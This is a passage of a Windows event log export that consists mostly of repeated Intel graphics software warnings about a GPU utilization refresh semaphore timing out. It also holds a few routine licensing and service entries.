09:12:23.068\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:23.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:24.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:25.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:26.965\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T02:12:26Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:12:26.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:27.307\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:28.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:28.856\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:29.189\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:29.640\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:12:29.748\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:30.082\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:31.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.084\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.309\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:33.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:33.651\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:35.097\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:36.329\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:36.553\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:36.777\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:38.009\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:38.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:38.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:39.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:39.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:39.749\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:40.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:40.282\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:40.287\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:42.172\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:42.175\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:42.389\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:43.388\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:43.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:44.389\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:44.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:45.049\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:45.273\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:45.721\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.393\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.617\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.841\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:47.286\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:47.510\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:47.733\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:48.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:48.852\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:49.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:49.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:49.962\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:50.185\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:50.853\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:51.411\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:51.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:52.188\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:52.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:52.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:53.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:53.529\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:53.974\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:54.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:54.757\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:54.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:55.429\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:55.765\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:55.989\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:56.325\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:56.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:56.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:57.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:57.442\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:57.776\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.554\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.765\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.988\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:59.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.002\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.449\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.897\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:02.677\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:02.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:03.125\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:03.570\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:03.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:04.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:04.571\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:04.795\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.008\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.668\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.889\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:06.111\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:06.333\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:07.445\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:07.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:07.889\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:08.224\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:08.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:08.887\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:09.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:09.553\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:10.102\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:10.548\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:10.885\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:11.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:11.555\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:11.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:12.000\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 